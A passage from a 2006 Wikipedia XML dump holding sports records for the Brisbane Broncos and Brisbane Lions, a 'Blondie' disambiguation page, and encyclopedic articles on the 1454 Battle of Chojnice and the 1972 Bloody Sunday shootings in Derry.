* 196- Michael De Vere (in 27 games, 2000. 12 tries, 74 goals)

===Most Points for the Broncos===

* 1062- Michael De Vere (162 games, 64 tries, 403 goals)
* 845- Darren Lockyer (214 games, 86 tries, 247 goals, 7 field goals) (AS OF JANUARY 2005)
* 744- Terry Matterson (156 games, 29 tries, 314 goals)
* 568- Steve Renouf (183 games, 142 tries)

===Biggest Wins===

* 60-6 (v North Sydney, ANZ Stadium. April 26, 1998)
* 58-4 (v North Queensland, ANZ Stadium. April 12, 1998)
* 56-4 (v Western Suburbs Magpies, ANZ Stadium. June 21, 1998)
* 50-0 (v Western Suburbs Magpies, ANZ Stadium. May 29, 1999)
* 56-6 (v South Sydney Rabbitohs, ANZ Stadium. August 13, 1995)
* 54-4 (v Illawarra Steelers, ANZ Stadium. April 6, 1996)
* 50-0 (v Balmain Tigers, ANZ Stadium. August 13, 1993)

===Biggest Losses===

* 50-4 (v Melbourne Storm, Olympic Park. April 2, 2005)
* 44-0 (v Newcastle Knights, EnergyAustralia Stadium. July 6, 2001)
* 48-6 (v Melbourne Storm, ANZ Stadium. March 21, 1999)
* 40-4 (v Canterbury Bulldogs, Suncorp Stadium. July 11, 2003)
* 40-10 (v Newcastle Knights, EnergyAustralia Stadium. August 23, 2002)

===Longest Winning Streaks===

* 12 Matches (Round 14, 1997 to Round 5, 1998)
* 11 Matches (Round 11 to Round 23, 1999)
* 11 Matches (Round 8 to Round 18, 1990)
* 10 Matches (Round 5 to Round 15, 2005)
* 10 Matches (Round 16, 1992 to Round 1, 1993)

===Longest Losing Streaks===

* 8 Matches (Round 20 to Finals Week 1, 2003)
* 7 Matches (Round 22 to Finals Week 2, 2005)
* 6 Matches (Round 20 to 25, 2001)

===Australian Internationals===

* Sam Backo
* Shaun Berrigan
* Dane Carlaw
* Willie Carne
* Tonie Carroll
* Petero Civoniceva
* Greg Conescu
* Tony Currie
* Michael De Vere
* Andrew Gee
* Michael Hancock
* Paul Hauff
* Mark Hohn
* Peter Jackson
* Chris Johns
* Allan Langer
* Glenn Lazarus
* Wally Lewis
* Darren Lockyer
* Brad Meyers
* Gene Miles
* Steve Renouf
* Wendell Sailor
* Dale Shearer
* Darren Smith
* Gorden Tallis
* Brent Tate
* Brad Thorn
* Lote Tuqiri
* Kerrod Walters
* Kevin Walters
* Shane Webcke

===Test Captains===

* Wally Lewis (1988-89)
* Allan Langer (1998)
* Gorden Tallis (2002-03)
* Darren Lockyer (2003-05)

===World Cup Captains===

* Wally Lewis (1988-89)
* Gorden Tallis (2000)

===Rothmans Medal Winners===

The Rothmans Medal was awarded to the best player in the NSWRL

* Allan Langer (1992)

===Dally M Medal Winners===

The Dally M Medal took over as the Player of the Year Medal from the Rothmans Medal

* Allan Langer (1998)

===Clive Churchill Medal Winners===

The Clive Churchill Medal is awarded to the Man of the Match in the Grand Final

* Allan Langer (1992)
* Gorden Tallis (1998)
* Darren Lockyer (2000)

==Famous Fans==
* [[Lachlan Murdoch]], who is the club's No.1 Ticket Holder
* Peter Beattie, Queensland Premier
* Jim Soorley, former Lord Mayor of Brisbane &amp; former No.1 Ticket Holder


==Sources==

* The Official NRL 2003 Season Guide
* The Official NRL 2005 Season Guide
* [http://www.broncos.com.au/index.cfm?MenuID=326&amp;TopMenuID=266 Brisbane Broncos Club Records]
* [http://www.broncos.com.au/index.cfm?MenuID=331&amp;TopMenuID=266 Brisbane Broncos Season 2005] 

==External links==
*[http://www.broncos.com.au/ Broncos official web page]
*[http://stats.rleague.com/rl/teams/brisbane/brisbane_idx.html Brisbane Statistics Tables]

{{NRL}}

[[Category:National Rugby League]]
[[Category:Sport in Brisbane]]
[[Category:Australian rugby league clubs]]
[[Category:Sport in Queensland]]
[[Category:1988 establishments]]</text>
    </revision>
  </page>
  <page>
    <title>Brisbane Lions</title>
    <id>5026</id>
    <revision>
      <id>40678578</id>
      <timestamp>2006-02-22T06:12:50Z</timestamp>
      <contributor>
        <username>Drini</username>
        <id>195374</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/192.165.166.4|192.165.166.4]] ([[User talk:192.165.166.4|talk]]) to last version by The Brain of Morbius</comment>
      <text xml:space="preserve">{{Infobox aus sport club | clubname = Brisbane Lions
| image = [[Image:Brisbane_Lions_Logo.jpg|200px|Brisbane Lions logo]]
| fullname = Brisbane Lions Australian Football Club
| emblem = The Lions
| strip = Maroon and blue guernsey with gold lion, maroon shorts, maroon socks
| founded = [[1996]]
| sport = [[Australian rules football]]
| league = [[Australian Football League]] 
| ground = The [[Brisbane Cricket Ground|Gabba]] 
| capacity = 42,000 
| song = [[The Pride of Brisbane Town]]
| president = [[Tony Kelly]]
| coach = [[Leigh Matthews]]
| season = 2005 
| position = 11th of 16}}The '''Brisbane Lions''' Australian Football Club (the trading name for the ''Brisbane Bears-Fitzroy Football Club'') are an [[Australian Football League]] club, formed from the post-[[1996]] [[merger]] of the [[Brisbane Bears]] and [[Fitzroy Football Club|Fitzroy]], the ''Lions''.  The side plays its home games at the [[Brisbane Cricket Ground]], also known as the Gabba and in 2005 the average home ground attendance for the Lions was 33,101.

The merged club won its first league premiership in [[2001]], and Lion [[Jason Akermanis]] won the league's highest individual honour, the [[Brownlow Medal]]. In [[2002]], the Lions repeated as premiers, and Lion [[Simon Black]] won the Brownlow. In [[2003]], the Lions became the first Grand Final participant in AFL history to have three Brownlow Medallists in its lineup, the third being [[1996]] winner [[Michael Voss]]. The club went on to win the 2003 premiership, and become the first in the AFL to win three consecutive Premierships, but fell just short in its quest for a fourth consecutive flag, losing to [[Port Adelaide Football Club|Port Adelaide]] in the 2004 Grand Final.

==Membership Base==
Year, #members, finishing position, average home attendance&lt;br&gt;
*1997 16,679 (8th) 19,550&lt;br&gt;
*1998 16,108 (16th) 16,675&lt;br&gt;
*1999 16,931 (4th) 21,936&lt;br&gt;
*2000 20,295 (5th) 27,406&lt;br&gt;
*2001 18,330 (1st) 27,313&lt;br&gt;
*2002 22,288 (1st) 26,904&lt;br&gt;
*2003 25,578 (1st) 31,462&lt;br&gt;
*2004 30,941 (2nd) 33,574&lt;br&gt;
*2005 30,027 (11th) 33,101&lt;br&gt;

==Individual Awards==

===[[Best and Fairest]]===
:See [[Merrett-Murray Medal]]

===[[Brownlow Medal]] winners===
* [[Jason Akermanis]] - 2001
* [[Simon Black]] - 2002

===[[Leigh Matthews Trophy]] winners===
* [[Michael Voss]] - 2002 (with [[Luke Darcy]]), 2003

===[[Norm Smith medal]] winners===
* [[Shaun Hart]] - 2001
* [[Simon Black]] - 2003

===[[Mark of the Year]] winners===
* [[Jonathan Brown]] - 2002

===[[Goal of the Year]] winners ===
* [[Jason Akermanis]] - 2002

===[[All-Australian]] players===
* [[Jason Akermanis]] - 1999, 2001, 2002, 2004
* [[Chris Johnson]] - 2002, 2004
* [[Nigel Lappin]] - 2001, 2002, 2003, 2004
* [[Simon Black]] - 2001, 2002, 2004
* [[Justin Leppitsch]] - 1999, 2002, 2003
* [[Michael Voss]] - 1999, 2001, 2003 (captain)

==Club Facts==

===Premierships===
*[[Australian Football League season 2001|2001]]
*[[Australian Football League season 2002|2002]]
*[[Australian Football League season 2003|2003]]

===[[Wooden Spoon]]===
*[[Australian Football League season 1998|1998]]

===Coaches===
* [[John Northey]] - 1997-1998
* [[Roger Merrett]] - 1998
* [[Leigh Matthews]] - 1999-current

===Captains===
* [[Michael Voss]]
* [[Alastair Lynch]]

===Biggest Home Crowd===
37,224 - 2005: Brisbane vs [[Collingwood]] (Gabba)

==Other notable players ==
* [[Marcus Ashcroft]]
* [[Daniel Bradshaw]]
* [[Richard Champion]]
* [[Matthew Kennedy]]
* [[Nigel Lappin]]
* [[Craig McRae]]
* [[Mal Michael]]
* [[Martin Pike]]
* [[Luke Power]]
* [[Darryl White]]

== See also ==

* [[Merrett-Murray Medal]]
* [[List of prominent Brisbane Lions supporters]]
* [[:Category:Brisbane Lions players|Wikipedia listing of Brisbane Lions players]]

==External links==
*[http://www.lions.com.au/ Official Website of the Brisbane Lions Football Club]
* [http://lions.com.au/default.asp?pg=lionshistory&amp;spg=overview The Brisbane Lions - an Overview] - Official AFL website of the Brisbane Lions Football Club]
*[http://www.myafl.com/forum/forumdisplay.php?f=9/ myAFL.com Brisbane Lions Forum]
*[http://www.lionised.com Lionised (unofficial site)]
*[http://www.fullpointsfooty.net/brisbane_(1).htm Full Points Footy History of the Brisbane Football Club]


{{AFL}}
[[Category:Australian Football League clubs]]
[[Category:Sport in Queensland]]</text>
    </revision>
  </page>
  <page>
    <title>Blondie</title>
    <id>5027</id>
    <revision>
      <id>39064357</id>
      <timestamp>2006-02-10T13:28:11Z</timestamp>
      <contributor>
        <username>Guinnog</username>
        <id>764861</id>
      </contributor>
      <text xml:space="preserve">'''Blondie''' may mean

* [[Blondie (band)]], a band based in New York City, active since the 1970s.
* [[Blondie (comic strip)]], a long-running newspaper comic strip
* [[Blondie (film)]], a 1938 movie based on the comic strip. The movie was followed by a number of sequels until the 1950s.
* [[Blondie (Bloom County)]], a minor character from the 1980s comic strip ''Bloom County''
* [[Blondi]], Adolf Hitler's German Shepherd dog
* Nickname of Clint Eastwood's character in ''[[The Good, the Bad and the Ugly]]''.
* In [[American cuisine|US cuisine]], the '''Blondie''' is a bar cookie similar to the [[brownie]] but made with brown sugar and no cocoa.

{{disambig}}

[[de:Blondie]]
[[fr:Blondie]]
[[nl:Blondie]]
[[pt:Blondie]]
[[sv:Blondie]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Chojnice</title>
    <id>5028</id>
    <revision>
      <id>34521754</id>
      <timestamp>2006-01-09T19:31:22Z</timestamp>
      <contributor>
        <username>Appleseed</username>
        <id>404133</id>
      </contributor>
      <text xml:space="preserve">{{Campaignbox Thirteen Years' War}}

The '''Battle of Chojnice''' ('''Battle of Conitz''') occurred on [[September 18]] [[1454]] by the town of [[Chojnice]] between [[Poland]] and the [[Teutonic Knights]] during the [[Thirteen Years' War]], it was won by the latter. The Teutonic army had around 9000 cavalry and 6000 infantry under [[Bernard Szumborski]]. The Polish army had 16000 cavalry, a few thousand servants (who can and usually were used in battles), a few hundred infantry plus 500 mercenaries and burgers from [[Gdańsk]] and 2000 mercenaries hired by Prussian Confederacy, all under the command of King [[Casimir IV]], advised by [[chancellor]] [[Jan Koniecpolski]] and [[Piotr from Szczekociny]]. 

The Polish commanders were counting that the battle would be traditionally won by the Polish heavy cavalry, not caring much about either artillery or infantry. They hadn't thought that opponent could change their traditional strategy, or that the Teutonic soldiers besieged in [[Chojnice]] could be anything more than spectators. Bernard Szumborski however had planned a totally different kind of battle.

At the beginning everything went as expected, following the pattern of many other battles between the Poles and Teutons. The Polish cavalry charged with much success, breaking the Teutonic lines, killing Prince Rudolf of Żagań and even capturing Bernard Szumborski. The Teutonic cavalry tried to break through Polish lines and escape to Chojnice; however infantry grouped at Teutonic wegenburg broke with tradition and offer a very good defense against the mounted troops. Then a sudden sally from Chojnice at the back of the Polish army caused panic. Bernard Szumborski managed to release himself and organised pursuit; hundreds of Poles, including Piotr from Szczekociny, were killed during the rout or drowned in nearby marsh. The Polish King fought on with great personal courage and his knights had to force him to leave the battlefield.

The Polish defeat was complete. 3000 bodies were left at battlefield, 300 knights were captured by Teutons, including three main commanders: Mikolaj Szarlejski, Łukasz Górka, and Wojciech Kostka from Postupice. The Teutons lost only around 100 men. Bernard Szumborski was however formally a Polish prisoner, since he gave a knight's word. 

The battle proved that discipline and improved tactics, combined with a talented commander could win against a larger, but more traditional army. The Poles paid the price for ignoring terrain, infantry and artillery.

[[Category:1454]]
[[Category:Battles of the Thirteen Years' War|Chojnice]]

[[pl:Bitwa pod Chojnicami]]</text>
    </revision>
  </page>
  <page>
    <title>Bloody Sunday (1972)</title>
    <id>5030</id>
    <revision>
      <id>41946236</id>
      <timestamp>2006-03-02T20:29:50Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>/* Events of the Day */  link [[Bishop Edward Daly|Father Daly]]</comment>
      <text xml:space="preserve">:''For other incidents referred to by this name, see [[Bloody Sunday]].''

[[Image:bloodysunday.jpg|thumb|right|350px|Derry civil rights association banner stained with [[Bernard McGuigan]]'s blood after shootings]]
On Sunday [[January 30]], [[1972]], in an incident since known as '''Bloody Sunday''', 14 people were killed and 13 others wounded by [[United Kingdom|British]] [[The Parachute Regiment|paratroopers]] after a [[Northern Ireland Civil Rights Association]] march in the [[Bogside]] area of the city of [[Londonderry]], [[Northern Ireland]]. Many witnesses, including bystanders and journalists, claim that those shot were all unarmed. 

Two inquiries have been held by the British Government. The [[Widgery Tribunal]] in the immediate aftermath of the day largely cleared the soldiers and British authorities of blame, but was criticised as a &quot;whitewash&quot; by many. The [[Saville Inquiry]], established in 1998 to look at the events again, has yet to report.

The [[Provisional Irish Republican Army|IRA]]'s campaign against Northern Ireland being a part of the [[Act of Union|United Kingdom]] had begun three years prior to Bloody Sunday, but perceptions of the day boosted the status of and recruitment into the organisation. Bloody Sunday remains among the most significant events in the recent [[troubles]] of Northern Ireland, arguably because it was carried out by the army and not paramilitaries.

==Events of the Day==
Many details of the day's events are in dispute, with no agreement even on the number of marchers present that day. The organisers, ''Insight'' claimed that there were 30,000 marchers, Lord Widgery in his Inquiry, said that there were only 3,000 to 5,000. In ''The Road To Bloody Sunday'', Dr. Raymond McClean estimated the crowd as 15,000, which is the figure used by [[Bernadette Devlin McAliskey]] in [[British House of Commons|Parliament]].

A wealth of material has been produced relating to the day. There have been numerous books and articles written, as well as documentary films made on the subject.[http://cain.ulst.ac.uk/events/bsunday/soc.htm]

The march's planned route had taken it to the Guildhall, but due to army barricades it was redirected to [[Free Derry]] Corner. A small group of teenagers broke off from the main march and persisted in pushing the barricade and marching on the Guildhall. They attacked the [[British army|British]] [[barricade]] with stones and shouted insults at the troops. At this point, a water cannon, tear gas and rubber bullets were used to disperse the rioters. Such confrontations between soldiers and youths were common, though observers reported that the rioting was not intense. Two people were shot and wounded by soldiers on William Street.

At a certain point, reports of an IRA sniper operating in the area were given to the British command centre. The order to fire live rounds was given and one young man was shot and killed while he ran down Chamberlain Street away from the advancing troops. This first man shot, Jackie Duddy, was among a crowd who were running away. He was running alongside a priest, [[Bishop Edward Daly|Father Daly]], when he was shot in the back. The aggression against the British troops escalated, and eventually the order was given to mobilise the troops in an arrest operation, chasing the tail of the main group of marchers to the edge of the field by Free Derry Corner.

Despite a cease-fire order from British HQ, over a hundred rounds were fired directly into the fleeing crowds by troops under the command of Major Ted Loden. Twelve more were shot dead, many of them killed while attempting to aid the fallen. Fourteen others were wounded, twelve by firing from the soldiers and two knocked down by armoured personnel carriers.

===The dead===
* Jackie Duddy (17) Shot in the chest in the car park of Rossville flats. Four witnesses stated Duddy was unarmed and running away from the paratroopers when he was killed. Three of them saw a soldier take deliberate aim at the youth as he ran.

* Patrick Doherty (31) Shot from behind while crawling to safety in the forecourt of Rossville flats. Doherty was photographed by [[France|French]] journalist [[Gilles Peress]] seconds before he died. Despite the evidence of &quot;Soldier F&quot; at the Widgery Tribunal, the photographs show he was unarmed.

* Bernard McGuigan (41) Shot in the back of the head when he went to help Patrick Doherty. He had been waving a white handkerchief at the soldiers to indicate his peaceful intentions.

* Hugh Gilmour (17) Shot in the chest while running away from the paratroopers on Rossville Street. A photograph taken seconds after Gilmour was hit corroborated witness reports that he was unarmed.

* Kevin McElhinney (17) Shot from behind while crawling to safety at the front entrance of the Rossville Flats. Two witnesses stated McElhinney was unarmed.

* Michael Kelly (17) Shot in the stomach while standing near the rubble barricade in front of Rossville Flats. Widgery accepted Kelly was unarmed.

* John Young (17) Shot in the head while standing at the rubble barricade. Two witnesses stated Young was unarmed.

* William Nash (19) Shot in the chest near the barricade. Witnesses stated Nash was unarmed and going to the aid of another when killed.

* Michael McDaid (20) Shot in the face at the barricade while walking away from the paratroopers. The trajectory of the bullet indicated he was killed by soldiers positioned on the Derry Walls.

* James Wray (22) Wounded and then shot again at close range while lying on the ground. Witnesses who were not called to the Widgery Tribunal stated that Wray was calling that he was unable to move his legs before he was shot the second time.

* Gerald Donaghy (17) Shot in the stomach while running to safety between Glenfada Park and Abbey Park. Donaghy was brought to a nearby house by bystanders where he was examined by a doctor. His pockets were turned out in an effort to identify him. A later [[Royal Ulster Constabulary|police]] photograph of Donaghy's corpse showed nail bombs in his pockets. Neither those who searched his pockets in the house nor the British army medical officer (Soldier 138) who pronounced his death shortly afterwards saw any bombs. Donaghy had been a member of [[Fianna Éireann]], an IRA-linked Republican youth movement. 

* Gerald McKinney (35) Shot just after Gerald Donaghy. Witnesses stated that McKinney had been running behind Donaghy, and he stopped and held up his arms, shouting &quot;Don't shoot!&quot;, when he saw Donaghy fall. He was then shot in the chest.

* William McKinney (26) Shot from behind as he attempted to aid Gerald McKinney (no relation). He had left cover to try and help the older man.

* John Johnston (59) Shot on William Street 15 minutes before the rest of the shooting started. Johnson died of his wounds four months later, the only one not to die immediately or soon after being shot.

==The perspectives and analyses on the day==
[[Image:Bloody Sunday Mural Bogside 2004 SMC.jpg|thumb|right|250px|[[Mural]] by [[Bogside Artists]] depicting Father Daly waving a [[White flag|white handkerchief]] whilst trying to escort the mortally wounded Jackie Duddy to safety.]]

Thirteen people were shot dead, with another man later dying of his wounds. The official army position, backed by the British [[Home Secretary]] the next day in the [[House of Commons]], was that the [[Parachute Regiment|Paratrooper]]s had reacted to the threat of gunmen and nail-bombs from suspected [[PIRA|IRA]] members. However, all eye-witnesses (apart from the soldiers), including marchers, local residents, and British and Irish journalists present, maintain that soldiers fired into an unarmed crowd, or were aiming at fleeing people and those tending the wounded, while the soldiers themselves were not fired upon. No British soldier was wounded by gun-fire or reported any injuries, nor were any bullets or nail-bombs recovered to back up their claims. In the rage that followed, the British embassy in Merrion Square in [[Dublin]] was swamped by an irate crowd, and the building was burned down. Anglo-Irish relations hit one of their lowest ebbs, with [[Irish Minister for Foreign Affairs]], [[Patrick Hillery]], going specially to the [[United Nations]] in New York to demand UN involvement in the [[Northern Ireland]] &quot;troubles&quot;. However, as the [[United Kingdom]] had a veto on the UN's [[Security Council]], this was never a realistic option.

While there were many IRA men present at the protest, they were all unarmed as it was anticipated that the Paratroopers would attempt to &quot;draw them out&quot;. MP [[Ivan Cooper]] had been promised beforehand that no armed IRA men would be near the march. Many of the Paratroopers who gave evidence at the Tribunal testified that they were told by their officers to expect a gunfight and had been encouraged to &quot;get some kills&quot;.

The official [[coroner]] for the City of Londonderry, retired [[British army]] officer Major Hubert O'Neill, issued a statement that August. He declared, 
&lt;blockquote&gt;
the army ran amok that day...They were shooting innocent people. These people may have been taking part in a march that was banned but that does not justify the troops coming in and firing live rounds indiscriminately. I would say without hesitation that it was sheer unadulterated [[murder]].
&lt;/blockquote&gt;

In the immediate aftermath of Bloody Sunday, the British government under Prime Minister [[Edward Heath]] established a commission of inquiry under the Lord Chief Justice, [[John Widgery, Baron Widgery|Lord Widgery]]. Many of the witnesses were prepared to [[boycott]] the inquiry as they lacked faith in his impartiality but were eventually persuaded to take part. His quickly-produced report supported the army's account of the events of the day. Among the evidence presented to the inquiry were [[Greiss test|Greiss tests]] on the hands of the dead which seemed to show that some of them had handled explosives. The same test provided positive results which helped to convict the [[Birmingham Six]], [[Maguire Seven]] and [[Judith Ward]]; these results were later established to have been false and the convictions were quashed, although at the time the Greiss test was regarded as accurate. Most Irish people and witnesses to the event disputed the report's conclusions and regarded it as a whitewash. It is now widely accepted that nail bombs photographed on Gerard Donaghy were planted there after his death and firearms residue on some deceased came from contact with the soldiers who themselves moved some of the bodies. In fact, in 1992, [[John Major]], writing to [[John Hume]] stated:{{fn|1}}
&lt;blockquote&gt;
The Government made clear in 1974 that those who were killed on 'Bloody Sunday' should be regarded as innocent of any allegation that they were shot whilst handling firearms or explosives. I hope that the familes of those who died will accept that assurance.
&lt;/blockquote&gt;
In January 1997, the English television station [[Channel Four]] carried a news report that suggested that members of the [[Royal Anglian Regiment]] had also opened fire on the protesters and could have been responsible for 3 of the 14 deaths.

==The Saville Inquiry==
[[Image:Guildhall_Derry_SMC_2005.jpg|thumbnail|250px|right|The city Guildhall, home to the Inquiry.]]
Although [[United Kingdom|British]] Prime Minister [[John Major]] had rejected [[John Hume]]'s requests for a new inquiry into the killings, his successor, [[Tony Blair]], decided to start one. A second commission of inquiry, chaired by [[Lord Saville]], was established in January 1998 to re-examine 'Bloody Sunday'. Hearings were concluded in November 2004, and the report is currently being written. The Saville Inquiry was a far more comprehensive study, interviewing a wide range of witnesses, including local residents, soldiers, journalists and politicians. The evidence so far has undermined the credibility of the original [[Widgery Tribunal]] report. Allegations were made that some bodies were placed next to guns and explosives, and other substances (including playing cards) have been found to cause [[false positive]]s in tests for explosives. Some of the scientists responsible for the original reports to the Widgery Tribunal now dismiss the interpretations that were put on their findings by the [[Ministry of Defence (United Kingdom)|Ministry of Defence]]. [[Lord Saville]] has declined to comment on the Widgery report and has made the point that the Saville Inquiry is an inquiry into 'Bloody Sunday', not the Widgery Tribunal.

Evidence given by [[Martin McGuiness]], the deputy leader of [[Sinn Féin]], to the inquiry stated that he was second-in-command of the [[Derry]] branch of the [[Provisional IRA]] and was present at the march. He did not answer questions about where he had been staying because he said it would compromise the safety of the individuals involved.

Many observers allege that the [[Ministry of Defence (United Kingdom)|MoD]] acted in a way to [http://news.bbc.co.uk/1/hi/northern_ireland/2710309.stm impede] the inquiry. Over 1,000 army photographs and original army helicopter video footage were never made available. Additonally, guns used on the day by the soldiers that should have been evidence in the inquiry were [http://news.bbc.co.uk/1/hi/northern_ireland/699875.stm destroyed] by the [http://www.guardian.co.uk/bloodysunday/article/0,2763,1357102,00.html MoD]. The MoD claimed that all the guns had been destroyed, but some were subsequently recovered in various locations (such as [[Sierra Leone]], [[Beirut]], and [[Little Rock]], [[Arkansas]] [http://www.derryjournal.com/story/7120]) despite the obstruction [http://www.timesonline.co.uk/printFriendly/0,,1-531-1721121-1187,00.html].

By the time the inquiry had retired to write up its findings it had interviewed over 900 witnesses, over seven years, at a total cost of [http://www.guardian.co.uk/bloodysunday/article/0,2763,1357102,00.html £155m], making it the biggest investigation in [[Law of the United Kingdom|British legal]] history.

In mid-2005, the [http://www.guardian.co.uk/arts/features/story/0,11710,1446221,00.html play], ''BLOODY SUNDAY: Scenes from the Saville Inquiry'', based on the drama of the Saville inquiry opened in London, and subsequently travelled to Derry and Dublin [http://www.dublinks.com/index.cfm/loc/14/pt/0/spid/85F418D2-6CD9-4669-8A9FA731AF2AB0CC.htm]. The writer, the journalist [[Richard Norton-Taylor]], distilled four years of evidence into two hours of stage performance by [[Tricycle Theatre]] [http://www.tricycle.co.uk/htmlnew/whatson/show.php3?id=71]. The play received glowing reviews in all the British broadsheets including, the Times: ''&quot;The Tricycle's latest recreation of a major inquiry is its most devastating&quot;''; the Daily Telegraph: ''&quot;I can't praise this enthralling production too highly... exceptionally gripping courtroom drama&quot;'', and, The Independent: ''&quot;A necessary triumph&quot;''.

==Impact on Northern Ireland divisions==
[[Image:Bloody Sunday memorial.jpg|thumb|right|250px|Bloody Sunday memorial in the [[bogside]].]]
Despite the controversy, all sides agree that 'Bloody Sunday' marked a major negative turning point in the fortunes of Northern Ireland. British opposition leader [[Harold Wilson]] reiterated his belief that a [[united Ireland]] was the only possible solution to [[Ulster]]'s [[Troubles]]. [[William Craig]], then Stormont Home Affairs Minister, suggested that the west bank of Derry should be ceded to the [[Republic of Ireland]].

When it arrived in Northern Ireland, the [[British Army]] was welcomed by [[Catholic]]s as a neutral force there to protect them from [[Protestant]] mobs, the [[Royal_Ulster_Constabulary|RUC]] and the [[Ulster Special Constabulary|B-Specials]]. After Bloody Sunday many Catholics turned on the [[British army]], seeing it no longer as their protector but as their enemy. Young [[Irish nationalism|nationalists]] became increasingly attracted to violent [[Irish republicanism|republican]] groups. With the OIRA and [[Official Sinn Féin]] having moved away from mainstream Irish nationalism/republicanism towards [[Marxism]], the [[Provisional IRA]] began to win the support of newly radicalised, disaffected young people. 

In the following twenty years, the [[Provisional IRA]] and other smaller republican groups such as the [[Irish National Liberation Army]] (INLA) mounted an armed campaign against the [[United Kingdom|British]], by which they meant the RUC, the British Army, the [[Ulster Defence Regiment]] of the British Army (and, according to their critics, the Protestant and [[Unionists (Ireland)|unionist]] establishment). With rival paramilitary organisations appearing in both the nationalist/republican and unionist/[[loyalist]] communities (the [[Irish National Liberation Army]], a republican rival to the Provisionals, the [[Ulster Defence Association]], [[Ulster Volunteer Force]], etc on the loyalist side), a bitter and brutal war took place that cost the lives of thousands. Terrorist outrages involved such acts as the [http://www.serve.com/pfc/misc/050731bp.html killing] of three members of a Catholic pop band, the [[Miami Showband]], by a gang including members of the [[Ulster Volunteer Force|UVF]] who were also members of the local army regiment, the [[Ulster Defence Regiment|UDR]] and in uniform at the time, to the killing by the Provisionals of [[World War 2]] veterans and their families attending a war wreath laying in [[Enniskillen]].

With the official cessation of violence by some of the major paramilitary organisations, and the creation of the power-sharing executive at [[Stormont]] Parliament Buildings in [[Belfast]] under the [[Belfast Agreement]], the Saville Tribunal's re-examination of what remains one of the blackest days in Ireland for the British army offers a chance to heal the wounds left by the events of the notorious Bloody Sunday in January 1972.

==Artistic reaction==
[[Image:Derry_mural_4.jpg|thumb|RIGHT|240px|Bloody Sunday [[mural]] in Derry]] 
The incident has been commemorated by [[U2]] in their [[protest song]] &quot;[[Sunday Bloody Sunday (song)|Sunday Bloody Sunday]]&quot;. The [http://www.u2.com/music/lyrics.php?song=23&amp;album=4 song] begins by expressing the anger of the singer at the events, before evolving into a call for all [[Christianity|Christians]], both [[Roman Catholic|Catholic]] and [[Protestant]], in [[Northern Ireland]] to abandon [[sectarianism]] and fight to achieve a genuinely Christian society through [[Jesus Christ]]'s victory over death in the resurrection on [[Easter Sunday]] (&quot;to claim the victory Jesus won on a Sunday, Bloody Sunday&quot;).

In the popular live recording, [[Bono]] clearly states (during the intro), &quot;This is not a rebel song,&quot; lest the song be misrepresented as supporting [[Physical force Irish republicanism|physical force Irish republican]] movements. In the version from their 1988 concert film ''[[Rattle and Hum]]'', Bono led the audience in a chant of &quot;No more!&quot; and used the song as a platform to denounce some [[Irish-Americans]] that he believed knew little about the real complexities of the Northern Ireland conflict yet funded the paramilitary republican movement and &quot;the glory of dying for the revolution.&quot; 

The [[John Lennon]] album ''[[Sometime In New York City]]'' features a [http://www.lyricsfreak.com/l/lennon-john/82536.html song] titled &quot;Sunday Bloody Sunday&quot;, inspired by the incident, as well as the [http://celtic-lyrics.com/lyrics/314 song] [[The Luck Of The Irish]], which dealt more with the Irish conflict in general. (Lennon was of Irish descent.)

[[Paul McCartney]] (also of Irish descent) issued a [http://celtic-lyrics.com/lyrics/582 single] shortly after Bloody Sunday titled &quot;Give Ireland Back To The Irish&quot;, expressing his views on the matter.

The events of the day have also been dramatized in the two 2002 [[film]]s, ''[[Bloody Sunday (movie)|Bloody Sunday]]'' (starring [[James Nesbitt]]) and ''Sunday'' by [[Jimmy McGovern]]. Their portrayal of events is much closer to the opinion of the protestors and media witnesses than the official explanation of events offered by the [[British Army]].

==External links==
*[http://www.bloody-sunday-inquiry.org/ The Saville Inquiry]&lt;br /&gt;
*[http://www.bloodysundaytrust.org The Bloody Sunday Trust]&lt;br /&gt;
*[http://www.madden-finucane.com/case_index/bloody_sunday/index.htm Madden &amp; Finucane Bloody Sunday Index]&lt;br /&gt;
*[http://cain.ulst.ac.uk/events/bsunday/bs.htm CAIN Web Service]&lt;br /&gt;
*[http://www.guardian.co.uk/bloodysunday/ Guardian Coverage]&lt;br /&gt;
*[http://news.bbc.co.uk/hi/english/in_depth/northern_ireland/2000/bloody_sunday_inquiry/ BBC Coverage]
*[http://www.imdb.com/Title?0280491 &quot;Bloody Sunday&quot; film from 2002]
*[http://www.sundayfilm.net/Default.htm &quot;Sunday&quot; film 2002] 

===The events of the day===
*[http://www.guardian.co.uk/bloodysunday/flash/0,6189,184944,00.html Guardian Interactive Guide]
*[http://news.bbc.co.uk/hi/english/static/in_depth/northern_ireland/2000/bloody_sunday/map/default.stm BBC Interactive Guide]

===Contemporary newspaper coverage===
*[http://www.guardian.co.uk/bloodysunday/article/0,2763,184928,00.html &quot;13 killed as paratroops break riot&quot;] from The Guardian, Monday [[January 31]] [[1972]]
*[http://www.guardian.co.uk/bloodysunday/article/0,2763,184927,00.html &quot;Bogsiders insist that soldiers shot first&quot;] from The Guardian, Tuesday [[February 1]] [[1972]]  

===Importance and impact===
* [http://www.guardian.co.uk/bloodysunday/article/0,2763,491660,00.html &quot;Shootings 'triggered decades of violence'&quot;]

==Further reading==
*{{cite book | author=[[Tony Geraghty]] | title=The Irish War | publisher= Johns Hopkins University Press | year=2000 | id=ISBN 0801871174}}
*{{fnb|1}}{{cite book | author=[[Don Mullan]] | title=Eyewitness Bloody Sunday | publisher=Wolfhound: Printing Press | year=1997 | id=ISBN 0-86327-586-9}}
*{{cite book | author=[[Dr Raymond McClean]]| title=The Road To Bloody Sunday (revised edition)| publisher=Guildhall: Printing Press | year=1997 | id=ISBN 0-946451-37-0}} [http://cain.ulst.ac.uk/events/bsunday/mcclean.htm (extracts available online)]
*{{cite book | author=[[Eamonn McCann]] | title=Bloody Sunday In Derry | publisher=Brandon : Printing Press | year=1998 | id=ISBN 0863221394}}

{{Link FA|he}}


[[Category:1972]]
[[Category:Derry]]
[[Category:Government reports]]
[[Category:History of Northern Ireland]]
[[Category:Sunday]]

[[de:Blutsonntag (Nordirland 1972)]]
[[es:Domingo Sangriento (1972)]]
[[fr:Bloody Sunday (1972)]]
[[it:Bloody Sunday (1972)]]
[[he:יום ראשון הארור]]
[[nl:Bloederige Zondag (1972)]]
[[pl:Krwawa niedziela (Irlandia Północna 1972)]]
[[sv:Bloody Sunday]]</text>
